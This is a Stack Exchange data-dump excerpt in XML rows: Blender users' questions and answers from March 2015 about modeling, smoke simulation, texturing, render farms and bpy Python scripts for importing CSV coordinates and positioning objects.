  <row Id="27570" PostTypeId="1" AcceptedAnswerId="27599" CreationDate="2015-03-24T02:17:31.790" Score="0" ViewCount="273" Body="&lt;p&gt;Im trying to find the amount of ticks in my animation. My animation is 100 frames long and I am running at 60 fps. How can I figure this out?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-24T19:04:01.530" Title="Ticks in my animatrion?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27571" PostTypeId="1" CreationDate="2015-03-24T04:32:03.573" Score="2" ViewCount="255" Body="&lt;p&gt;I want to wrap some 3d text around a sphere, and also put a star that conforms to the sphere on the top.  Similar to the following image, except that both will be sticking out some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found several videos that claim to do this but what they're really showing is how to wrap text around a cylinder and not a true spherical wrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide any pointers or clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kFKtf.jpg&quot; alt=&quot;xmas ornament&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11553" LastActivityDate="2015-03-24T04:32:03.573" Title="wrapping extruded text and polygons around a sphere" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27572" PostTypeId="2" ParentId="27516" CreationDate="2015-03-24T05:45:33.060" Score="2" Body="&lt;p&gt;increasing the bleed may help you in the seam problem,try it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XxoBP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-03-24T05:45:33.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27573" PostTypeId="1" CreationDate="2015-03-24T05:51:00.357" Score="2" ViewCount="2785" Body="&lt;p&gt;I am trying to create a simulation of smoke inside a building with Blender 2.73a. I have successfully modelled the building and created the smoke simulation. However, my smoke is not interacting with the walls of the building like it should. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/129/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=129&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-24T15:18:23.050" Title="Why isn't my smoke simulation interacting with other objects properly?" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27574" PostTypeId="2" ParentId="27536" CreationDate="2015-03-24T06:54:53.533" Score="2" Body="&lt;p&gt;One approach, albeit a bit hacky, would be to create a script to convert your CSV coordinates into OBJ format which you can import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider an OBJ file with the following content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o Cube&#xA;v 1.000000 -1.000000 -1.000000&#xA;v 1.000000 -1.000000 1.000000&#xA;l 1 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It defines and object named &quot;Cube&quot; with two vertices (lines 2 and 3) that are connected by an edge (line 4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might opt for something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o ElementOne&#xA;v 0.006084 -0.388238 -0.181844&#xA;v 0.006084 -0.388239 1.818155&#xA;l 1 2&#xA;o ElementTwo&#xA;v 1.500000 -1.000000 -1.000000&#xA;v 1.000000 -1.000000 1.000000&#xA;l 3 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I might even just write down the OBJ file using a notepad, if this is a one use scenario...&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="3420" LastEditDate="2015-03-24T07:06:09.110" LastActivityDate="2015-03-24T07:06:09.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27575" PostTypeId="2" ParentId="27547" CreationDate="2015-03-24T08:28:43.027" Score="4" Body="&lt;p&gt;That will depend on the task and the level of effort you want to put into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are rendering an animation then you will easily benefit from using multiple machines, each machine can render a single frame at the same time giving a very linear speedup based on number of machines. There is a network render addon included with blender. You may want to look at &lt;a href=&quot;http://www.flamenco.io/&quot; rel=&quot;nofollow&quot;&gt;Flamenco&lt;/a&gt; which is the new render farm being developed for the &lt;a href=&quot;http://gooseberry.blender.org/&quot; rel=&quot;nofollow&quot;&gt;gooseberry project&lt;/a&gt;. You could also manually start each machine with a different range of frames. There are also a few render farms available that you can pay by the hour or some similar metric.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are rendering a single image then a single machine is the easy way to go. There is no freely available way to break up a single image to render it on multiple machines, it can be done but currently you will need to break up the image and combine it yourself or create an automated way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no restrictions to number of machines you can use on any of the render farm options.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-24T08:28:43.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27576" PostTypeId="1" CreationDate="2015-03-24T09:08:06.547" Score="1" ViewCount="819" Body="&lt;p&gt;When I import a stl object it arrived like this (front view): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwDS2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to manually rotate it until I have the two lower points of my object at the same level on the Z axis(that's what the black line is supposed to show). Here is the result after the first rotation, in the&#xA;front view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UBC3N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same rotation seen in the right view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZpV9n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I rotate it in the right view until the two extemum points of the object are at the same level on the Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYIlk.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I translate the object on the Z axis until every vertex of the object are above the XY plan : &lt;img src=&quot;https://i.stack.imgur.com/vHrN4.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question : How to do that with a python script ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about the least square method to correctly rotate the object but I don't know if it is the easiest way !&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;update&lt;/em&gt;&lt;/strong&gt;&#xA;That's what I obtain with the Bounding box : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zjX7S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;update&lt;/em&gt;&lt;/strong&gt;&#xA;here's what I get with the convex hull : &#xA;front view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k51V6.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;right view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x3YsR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12685" LastEditorUserId="12685" LastEditDate="2015-03-25T07:05:46.393" LastActivityDate="2015-03-25T07:05:46.393" Title="How to move an object to a particular position using a python script?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mathematics&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27577" PostTypeId="1" CreationDate="2015-03-24T09:49:15.233" Score="1" ViewCount="380" Body="&lt;p&gt;I'm implementing a bone constraint for a racing game, to make the characters in the audience look in the direction of the leading car. I have it working in the character file (the character's head is following the empty target position) and when I lilbload/add the characters (and parent the targets to the car)  the heads are correctly oriented. But as the game progresses, the bones never update, the characters heads stay in the same place as I move the target around...? And no error or warning in the console output...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made sure my target is correctly libloaded and parented to the real moving object (the car) with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for people in logic.getCurrentScene().objects['People'].childrenRecursive:&#xA;    render.drawLine(people.worldPosition, target.worldPosition, [1,0,0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And sure enough, a line is connecting each character to the moving object. The target works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An &quot;always&quot; sensor (w/ or w/o &quot;pulse&quot;) to an &quot;armature&quot; actuator, running either &quot;run armature&quot; (?) or &quot;set target&quot; or both&lt;/li&gt;&#xA;&lt;li&gt;An &quot;always&quot; sensor (w/ or w/o &quot;pulse&quot;) to a python module running &lt;code&gt;logic.getCurrentScene().objects.get('Armature').update()&lt;/code&gt; at every single tick&lt;/li&gt;&#xA;&lt;li&gt;Replace the &quot;Damped Track&quot; bone constraint with a &quot;track to&quot;&lt;/li&gt;&#xA;&lt;li&gt;Removing all animations in the character file in case a keyframe is preventing the bone from moving&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But nope, the characters head do-not-move as I move (applyForce) the car. Is there something like applyConstraint that I must use?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="1608" LastEditDate="2015-03-24T12:57:06.027" LastActivityDate="2015-03-24T12:57:06.027" Title="How to update a damped track bone constraint?" Tags="&lt;game-engine&gt;&lt;armature&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="27578" PostTypeId="2" ParentId="27492" CreationDate="2015-03-24T10:23:00.277" Score="2" Body="&lt;p&gt;I have solved the problem by myself. What you need to do is to set the &lt;em&gt;Rotation mode&lt;/em&gt; of the bones to be &lt;em&gt;Quaternion&lt;/em&gt;, instead of &lt;em&gt;Euler&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13319" LastEditorUserId="3078" LastEditDate="2015-03-24T12:25:56.017" LastActivityDate="2015-03-24T12:25:56.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27579" PostTypeId="1" CreationDate="2015-03-24T11:25:25.860" Score="5" ViewCount="1667" Body="&lt;p&gt;When I run the following script, current_frame is set AFTER the render.opengl():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.type = 'VIEW_3D'&#xA;bpy.context.scene.frame_current = 234&#xA;bpy.data.scenes['Scene'].frame_current = 234&#xA;bpy.ops.render.opengl(view_context=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run the script again, the correct frame is rendered.&#xA;How can I force the frame_current to be applied before the render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A solution without using an operator is also welcome, as I understand that ops are more for user interaction that for scripts and are therefor very dependent on the correct context.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5741" LastEditorUserId="3710" LastEditDate="2015-03-25T16:33:15.833" LastActivityDate="2016-03-02T11:34:52.380" Title="Render specific frames with opengl via python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27580" PostTypeId="1" AcceptedAnswerId="27593" CreationDate="2015-03-24T12:44:46.067" Score="0" ViewCount="381" Body="&lt;p&gt;TLDR: I can change stuff with Python in the console, but not when lumped together in a script.  What gives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to command an object's location and orientation by running a script in the text editor (and then saving the resulting image).  I can use Python in the embedded console to change object properties (like position and orientation), but when running these commands as a script from the text editor they will change orientation, but not position.  I need to change an object's location and orientation.  What could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These objects exist in a .blend file that has objects, lights, textures, keyframes defining position, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These scripts used to work before I updated a texture, added more lights, and restarted my computer a few times.  Those are the only changes I can think of.  Now they render and save the rendered image but don't change the object's location or orientation (yes, after adding more junk, the object call is still to the right object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I run the script line by line in the embedded Python console, it executes flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All thoughts appreciated!  I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rel_loc = input(&quot;\nPlease input relative location of object 1, separated by spaces: x y z:  &quot;)&#xA;rel_att = input(&quot;Please input relative attitude of object 1, separated by spaces: w x y z: &quot;)&#xA;&#xA;#split out 'words' and convert to floats&#xA;rel_loc_p = rel_loc.split()&#xA;rel_loc = []&#xA;&#xA;for n in range(0,len(rel_loc_p)):&#xA;    rel_loc = rel_loc + [float(rel_loc_p[n])]&#xA;&#xA;rel_att_p = rel_att.split()&#xA;rel_att = []&#xA;&#xA;for n in range(0,len(rel_att_p)):&#xA;    rel_att = rel_att + [float(rel_att_p[n])]&#xA;&#xA;&#xA;print(&quot;relative location &quot; + str(rel_loc))&#xA;print(&quot;relative attitude &quot; + str(rel_att))&#xA;&#xA;#set position&#xA;bpy.data.objects[1].location = rel_loc&#xA;&#xA;#set attitude&#xA;bpy.data.objects[1].rotation_quaternion = rel_att&#xA;&#xA;#location, rotation, and scale&#xA;#bpy.data.objects[1].matrix_world.decompose()&#xA;&#xA;file_nname = input(&quot;please enter name and extension for file: &quot;)&#xA;file_ppath = input(&quot;please enter entire save file path, use '/' instead of '\': &quot;)&#xA;&#xA;#render and save image&#xA;&#xA;full_name = file_ppath+file_nname&#xA;bpy.context.scene.render.filepath = full_name&#xA;bpy.ops.render.render(write_still=True) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13351" LastEditorUserId="13351" LastEditDate="2015-03-25T13:07:25.583" LastActivityDate="2015-03-25T13:07:25.583" Title="Blender 2.73 Objects do not respond to script, but do to Python console" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="15" ClosedDate="2015-03-24T20:00:49.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="27582" PostTypeId="1" AcceptedAnswerId="27583" CreationDate="2015-03-24T14:03:03.713" Score="1" ViewCount="1722" Body="&lt;p&gt;I need to list the &lt;strong&gt;extremities of an edge&lt;/strong&gt;. I've got a &lt;strong&gt;selected edge&lt;/strong&gt; in edit mode and I need to &lt;strong&gt;list the coordinates&lt;/strong&gt;. This will be very useful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This because I'm looking for the rotation of an edge on the XY plane. I've already figured out how to get the angle but I need the two vertices coordinates to start the math.&#xA;Hope there is a built-in method!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your attention. &lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="3710" LastEditDate="2015-03-24T16:59:13.750" LastActivityDate="2015-03-24T22:33:00.753" Title="How to list vertices coordinates from selected edge" Tags="&lt;vertices&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27583" PostTypeId="2" ParentId="27582" CreationDate="2015-03-24T14:17:35.640" Score="2" Body="&lt;p&gt;This will display the  coordinates of the selected vertices of the selected object  ( you have the local and the world coordinates as @poor have noted )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;#all selected vertices indecies&#xA;verts_ind = [i.index for i in obj.data.vertices if i.select]&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;&#xA;for i in verts_ind :&#xA;    local_co = obj.data.vertices[i].co&#xA;    world_co = obj.matrix_world * local_co&#xA;    print(world_co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-24T14:51:36.740" LastActivityDate="2015-03-24T14:51:36.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27584" PostTypeId="1" CreationDate="2015-03-24T14:30:00.023" Score="4" ViewCount="3055" Body="&lt;p&gt;Using cycles I have simple cut out people in the scene: planes with .png textures on them. The transparency shows in the material editor and is rendered correctly but is not displayed in the viewport. This isn't a single case, I haven't seen alpha showing in the viewport since I started using blender. See screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eD4Tl.jpg&quot; alt=&quot;No alpha transparency in viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I took the time to investigate because it would be really helpful to see the cut out people with alpha when finetuning their placement in the scene. I found instructions on how to enable it in BlenderRender but not in cycles. I found some related things on blender sites - even here at StackExchange - but no real answer so far... It appears that alpha should show by default when in texture/material shading modes - so what's wrong in my system? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use windows 7, Blender 2.73, ATI Radeon HD 4300/4500 Series&lt;/p&gt;&#xA;" OwnerUserId="5200" LastActivityDate="2016-02-09T13:44:52.513" Title="Alpha transparency not showing in cycles viewport" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27585" PostTypeId="1" AcceptedAnswerId="27588" CreationDate="2015-03-24T14:34:05.560" Score="3" ViewCount="3846" Body="&lt;p&gt;I've created a wood floor material using an image texture node, I'm happy with how it is displayed in the material preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I apply the material to any object, in this case the 'wood_floor', the shader seems to only apply a single color to the object rather than the textured material I've created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/35199&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pRnNP.jpg&quot; alt=&quot;workspace&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this effect and how can I get the material to apply to the entire floor object?&lt;/p&gt;&#xA;" OwnerUserId="13352" LastEditorUserId="13352" LastEditDate="2015-03-24T14:52:47.977" LastActivityDate="2015-03-24T15:02:23.490" Title="Material Preview doesn't match render" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ClosedDate="2015-03-24T16:22:35.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="27586" PostTypeId="2" ParentId="27547" CreationDate="2015-03-24T14:49:04.317" Score="0" Body="&lt;p&gt;I have had good luck with the Brenda project as a starting point to render inexpensively on AWS - &lt;a href=&quot;https://github.com/jamesyonan/brenda&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jamesyonan/brenda&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows rendering in many different ways.  E.g. multiple frames per node, splitting up frames across nodes, and much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use AWS spot pricing so it can be extremely inexpensive.  Works great for me when I'm in a hurry to get something done.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastEditorUserId="9651" LastEditDate="2015-03-26T16:47:54.807" LastActivityDate="2015-03-26T16:47:54.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27587" PostTypeId="2" ParentId="27585" CreationDate="2015-03-24T14:53:08.420" Score="2" Body="&lt;p&gt;You need to UV Unwrap your mesh. You can do this by going into &lt;em&gt;Edit Mode&lt;/em&gt;, selecting all vertices, and pressing &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Unwrap&lt;/em&gt;. You do not need to change your material at all, UV Maps are applied to all image textures by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6YWP4.gif&quot; alt=&quot;unwrap Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more in-depth explanation of the process go visit the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;wiki article&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-24T15:02:23.490" LastActivityDate="2015-03-24T15:02:23.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27588" PostTypeId="2" ParentId="27585" CreationDate="2015-03-24T15:00:23.067" Score="3" Body="&lt;p&gt;You have a texture but blender can't guess what coordinates to use for the texture mapping. To fix try this: In your wood floor object a texture coordinate node. Connect the object coordinates to the vector connector on your image texture node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YDHk2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-24T15:00:23.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27589" PostTypeId="1" AcceptedAnswerId="27590" CreationDate="2015-03-24T15:00:30.037" Score="3" ViewCount="1101" Body="&lt;p&gt;Sorry for the weird title, I didn't know how to express it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a cube to form a hat.&#xA;I then extruded the 4 bottom vertices. &#xA;I did not move them after extruding, but I simply scaled them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt; to add geometry. &#xA;For some reason, the hat brim is much smaller than I expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't the hat brim be as large as the 4 extruded, scaled bottom vertices? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And does anybody perhaps see why the hat brim gets doubled vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nxplG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="241" LastEditDate="2015-03-24T15:09:53.923" LastActivityDate="2015-03-24T15:13:14.057" Title="Adding geometry (Ctrl+1) does not work as expected" Tags="&lt;modeling&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27590" PostTypeId="2" ParentId="27589" CreationDate="2015-03-24T15:13:14.057" Score="4" Body="&lt;p&gt;By pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt; you added a &lt;strong&gt;Subsurf Modifier&lt;/strong&gt; with one subdivision. The default subdivision agorithm is Catmull-Clark, which tends to round off the geometry, hence the roundness you see in the ghosted image. On the modifier you can change the subdivision from Catmull-Clark to Simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pEHmQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-24T15:13:14.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27591" PostTypeId="2" ParentId="27573" CreationDate="2015-03-24T15:18:23.050" Score="2" Body="&lt;p&gt;You have a normal collision above the Smoke collision, and it seems to be messing things up. I removed both and re-added just the smoke collision, and the simulation appeared to work flawlessly, no smoke came outside of the walls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qTOA8.gif&quot; alt=&quot;First Sim&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XtRC9.gif&quot; alt=&quot;After Sim&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can replicate this issue by adding a standard collision to the object, &lt;em&gt;then&lt;/em&gt; adding the smoke collision. If you reverse the order it works perfectly fine. This appears to be some sort of collision priority conflict or bug. As long as you &lt;strong&gt;add the Smoke Collision first&lt;/strong&gt; it should work as expected.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-24T15:18:23.050" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27592" PostTypeId="2" ParentId="27536" CreationDate="2015-03-24T15:54:11.323" Score="5" Body="&lt;p&gt;Python includes a csv import module, which makes reading the csv data and using it to create objects rather easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we read through the file, if an object with the name in column1 doesn't exist we create it, if it does exist we add a second vertex and make an edge between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This creates a new object for each element name, you can easily join them together once done by selecting them and pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import csv&#xA;from mathutils import Vector&#xA;from bpy_extras.object_utils import object_data_add&#xA;&#xA;csvfile = open('/path/to/data.csv')&#xA;&#xA;inFile = csv.reader(csvfile, delimiter=',', quotechar='&quot;')&#xA;# skip header&#xA;inFile.__next__()&#xA;&#xA;for row in inFile:&#xA;    #  column order (0: Element Name, 1: x, 2: y, 3: z)&#xA;    if row[0] not in bpy.data.objects:&#xA;        vert = [Vector((float(row[1]),float(row[2]),float(row[3])))]&#xA;        mesh = bpy.data.meshes.new(name=row[0])&#xA;        mesh.from_pydata(vert, [], [])&#xA;        object_data_add(bpy.context, mesh)&#xA;    else:&#xA;        bpy.data.objects[row[0]].select = True&#xA;        bpy.context.scene.objects.active = bpy.data.objects[row[0]]&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        mesh = bmesh.from_edit_mesh(bpy.data.objects[row[0]].data)&#xA;        mesh.verts.new((float(row[1]),float(row[2]),float(row[3])))&#xA;        mesh.verts.ensure_lookup_table()&#xA;        mesh.edges.new([mesh.verts[0],mesh.verts[1]])&#xA;        bmesh.update_edit_mesh(bpy.data.objects[row[0]].data, True)&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-24T15:54:11.323" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27593" PostTypeId="2" ParentId="27580" CreationDate="2015-03-24T16:47:04.993" Score="0" Body="&lt;p&gt;All credit to @Chebhou.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Anyway, the moral of the story is you can't command things which are defined with keyframes from scripts, but you can with the Python console.&quot;&lt;/p&gt;&#xA;" OwnerUserId="13351" LastActivityDate="2015-03-24T16:47:04.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27594" PostTypeId="1" AcceptedAnswerId="189995" CreationDate="2015-03-24T17:36:01.890" Score="2" ViewCount="1478" Body="&lt;p&gt;Does anybody have ever dealt with camera import from blender to houdini?&#xA;Recently I'm dealing with some projects that needs this step but when I do the fbx import, all the settings are completely wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the difference between the axis system between the softwares, but also the rotation goes wrong. I didn't manage to find nothing, a constant or a matrix in order to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have an idea or suggestion?&#xA;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I manage to get the right position with the format FBX 6.1 ASCII with Y up and X forward but the orientation still doesn't fit. (Blender 2.73 and Houdini 12.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jE9DQ.png&quot; alt=&quot;Camera in Blender&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6kCq7.png&quot; alt=&quot;Camera in Houdini&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13333" LastEditorUserId="3710" LastEditDate="2015-11-26T11:16:26.740" LastActivityDate="2020-08-05T19:49:28.150" Title="How to export a camera animation to Houdini?" Tags="&lt;python&gt;&lt;export&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
